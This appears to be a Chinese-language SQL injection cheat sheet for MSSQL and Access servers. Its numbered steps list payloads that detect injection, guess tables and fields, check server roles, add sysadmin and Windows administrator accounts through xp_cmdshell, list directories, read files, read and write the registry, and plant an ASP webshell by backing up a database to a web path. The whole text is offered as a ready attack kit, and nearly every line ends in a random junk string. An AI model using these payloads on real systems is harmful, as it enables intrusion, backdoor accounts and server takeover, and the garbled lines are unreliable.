1.判断是否有注入;and 1=1 ;and 1=2 kBUufV~
2.初步判断是否是mssql ;and user>0 [EcV\.
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3.注入参数是字符'and [查询条件] and ''=' GfQ^@Tl
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' n%8#?GC`
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5.判断数据库系统 m4\g o
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;and (select count(*) from sysobjects)>0 mssql ;C6O3@Q
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;and (select count(*) from msysobjects)>0 access -q|*M:R
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 EXH!glR[$
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 @YbZ8Uc
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -<12~HKK::
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9.(1)猜字段的ascii值(access) 5D>BV*"
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 3Y=,r!F.h
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(2)猜字段的ascii值(mssql) >cSi/a,L
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 %!#rrt,F
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10.测试权限结构(mssql) A1Ibx|K
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- L_`Xbk y
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- -!JlM@
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- HK=CP0H
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ~m3V]v(q7
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- /6 A:J]Q_
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- WCWSLEAza
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;and 1=(select IS_MEMBER('db_owner'));-- wZ}n3R,
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11.添加mssql和系统的帐户 20S9/9ll
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;exec master.dbo.sp_addlogin username;-- Bl:{p>-q
;exec master.dbo.sp_password null,username,password;-- I}I}K~se*
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7v.#o4nPK
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;exec master.dbo.xp_cmdshell 'net user username password hG< a
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H,01o5J
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ID_|H?.
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- &! 5CwEIF
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12.(1)遍历目录 JuKk"tr~RB
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;create table dirs(paths varchar(100), id int) w+URCj
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;insert dirs exec master.dbo.xp_dirtree 'c:\' OcyiL)tv 5
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;and (select top 1 paths from dirs)>0 1D3dYVE
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) tRpL0 =y
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(2)遍历目录 S&gKgQD"Q
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #3 }5cC8_
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ir( -$*J
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ~5XL@j I^
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .x\/XlM
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Dohl,d
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13.mssql中的存储过程 :G6 xJlE|
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xp_regenumvalues 注册表根键, 子键 qcpG}o+&D
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 lN*1zM<6;
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xp_regread 根键,子键,键值名 u(TgWp5WF
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;exec xp_regread ^=heen<S%
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8\W3FvQ
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xp_regwrite 根键,子键, 值名, 值类型, 值 71}L#nQ
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 TYmUPS$
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Q
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xp_regdeletevalue 根键,子键,值名 -E,{r[Sp
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 r7wx?{~ 28
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 *cI6&;y
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14.mssql的backup创建webshell K2cp f
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use model {YxSH%
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create table cmd(str image); )U/@J+{{
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insert into cmd(str) values (''); US*<I2ZLh
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backup database model to disk='c:\l.asp'; =km-`}I,
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15.mssql内置函数 0W<nE[U
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;and (select @@version)>0 获得Windows的版本号 X&;]
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa \CEnOq
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;and (select user_name())>0 爆当前系统的连接用户 `hQ!*f6
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;and (select db_name())>0 得到当前连接的数据库 d
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16.简洁的webshell y 1jGf83
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use model EL)/5-=S
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create table cmd(str image); b`={s
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insert into cmd(str) values (''); Ws}kb@5
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backup database model to disk='g:\wwwtest\l.asp';